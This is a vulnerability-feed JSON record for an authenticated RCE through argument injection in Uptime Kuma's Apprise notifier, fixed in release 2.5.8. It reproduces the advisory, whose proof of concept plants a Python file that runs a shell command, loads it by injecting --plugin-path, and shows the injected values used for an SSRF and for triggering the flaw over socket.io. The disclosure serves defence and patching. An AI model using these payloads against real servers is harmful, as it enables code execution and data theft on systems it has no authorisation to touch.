{"vuln_id":"GHSA-v2p3-6f5h-6hhf","aliases":[],"description":"Authenticated RCE via Apprise CLI Argument Injection (Missing -- Separator)","published_at":"2026-11-02T05:54:44Z","modified_at":"2026-11-02T05:54:44Z","first_seen_at":"2026-11-22T13:40:14.909290Z","severity":"high","severity_source":"ghsa","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:H","cwe":["CWE-88"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-v2p3-6f5h-6hhf"},"matched_alias":null,"items":[{"id":12033,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.8","summary":"Fixes advisories: GHSA-v2p3-6f5h-6hhf\n\nSecurity keywords: security, GHSA-V2P3-6F5H-6HHF, rce\n\n🐞 Bug Fixes\n\n#8049 fix: Docker verification check sometimes not catching invalid responses (2.5.X backport) (Thanks @Abestanis)\n\n#8038 fix: add next-slim-rootless docker tag\n\n#8028 fix: drop TLS support for the TCP Port monitor (It never worked as expected and very buggy, all existing monitors will become normal TCP monitors)\n\n⬆️ Security Fixes\n\nGHSA-v2p3-6f5h-6hhf [Admin Only] Authenticated RCE via Apprise CLI Argument Injection (Thanks @Sami111-Afk)\n\nOthers\n\n#8037 revert: hide/show password toggle in login page (#7672) (Because the height is inconsistent)","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.8","published_at":"2026-11-02T05:56:48Z","updated_at":null,"fetched_at":"2026-11-22T13:40:14.883744Z","severity":"high","cvss_score":8.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-v2p3-6f5h-6hhf","vuln_ids":["GHSA-V2P3-6F5H-6HHF"],"tags":["release","repo:louislam/uptime-kuma","security"],"cluster_id":11309,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12033","html":"https://vulnwatch.ve1ve2.com/item/12033"}},{"id":12007,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-v2p3-6f5h-6hhf: Authenticated RCE via Apprise CLI Argument Injection (Missing -- Separator)","summary":"Authenticated RCE via Apprise CLI Argument Injection (Missing -- Separator)\n\n### Summary\r\n\r\n The Apprise notification provider passes user-controlled appriseURL directly as a CLI argument to spawn(\"apprise\", ...) without a -- separator. Any authenticated user can inject arbitrary CLI flags, including --plugin-path which loads and executes arbitrary Python files. Combined with any file-write primitive, this results in full RCE. Additionally, --config=URL enables authenticated SSRF. Argument injection confirmed on production (--help, --version return success; --config fetches external URLs; --plugin-path scans directories).\r\n\r\n### Details\r\n\r\nIn server/notification-providers/apprise.js lines 13-18:\r\n\r\n    const args = [\"-vv\", \"-b\", msg, notification.appriseURL];\r\n    const s = await childProcessAsync.spawn(\"apprise\", args, { encoding: \"utf8\" });\r\n\r\n  No -- separator before user input. Values starting with - are parsed as CLI flags by Apprise's click argument parser.\r\n\r\n  --plugin-path=DIR scans for .py files and imports them as Python modules. Python executes module-level code at import time — before any notification URL validation. RCE fires even though Apprise exits with \"no URLs\" error.\r\n\r\n  Fix: add \"--\" before notification.appriseURL (one line).\r\n\r\n### Proof of concept\r\n\r\nLocal reproduction (confirmed):\r\n\r\n  mkdir -p /tmp/evil\r\n  echo 'import os;os.system(\"id>/tmp/pwned.txt\")' > /tmp/evil/pwn.py\r\n\r\n  # Simulate exact UK spawn:\r\n  node -e \"require('child_process').spawn('apprise',\r\n    ['-vv','-b','Test','--plugin-path=/tmp/evil'])\r\n    .on('close',()=>console.log(\r\n      require('fs').readFileSync('/tmp/pwned.txt','utf8')))\"\r\n\r\n  Output: uid=1000(sol) gid=1000(sol) groups=1000(sol)\r\n\r\nProduction testing (authorized pentest, UK 2.5.3 Docker):\r\n  appriseURL=\"--help\"    → ok=true \"Sent Successfully\" (flag parsed)\r\n  appriseURL=\"--version\" → ok=true \"Sent Successfully\" (flag parsed)\r\n  appriseURL=\"--config=https://webhook.site/REDACTED\" → Apprise POSTed to URL (SSRF)\r\n  appriseURL=\"--plugin-path=/tmp\" → exit 1, directory scanned\r\n\r\nAutomated PoC via socket.io:\r\n\r\n  sock.emit(\"testNotification\", {\r\n    type: \"apprise\",\r\n    name: \"rce\",\r\n    appriseURL: \"--plugin-path=/tmp/evil\",\r\n  }, callback);\r\n  // RCE executes before callback returns\r\n\r\n\r\n### Impact\r\n\r\nWith any file-write access: full RCE as UK process user. Read database, dump env vars (API keys, DB passwords), reverse shell, container escape if Docker socket mounted, persistent backdoor.\r\n\r\nWithout file-write: authenticated SSRF via --config=URL (confirmed — Apprise fetches arbitrary URLs from server IP).\r\n\r\nThe vulnerability is in the argument parsing, not in Apprise itself. Fix is one line: add \"--\" before user input.\n\nAffected packages: other:uptime-kuma\nPatched: uptime-kuma 2.5.8","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-v2p3-6f5h-6hhf","published_at":"2026-11-02T05:54:44Z","updated_at":"2026-11-02T05:54:44Z","fetched_at":"2026-11-22T13:40:14.883727Z","severity":"high","cvss_score":8.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-v2p3-6f5h-6hhf","vuln_ids":["GHSA-V2P3-6F5H-6HHF"],"tags":["repo-advisory","other","CWE-88","security","repo:louislam/uptime-kuma"],"cluster_id":11309,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12007","html":"https://vulnwatch.ve1ve2.com/item/12007"}}]}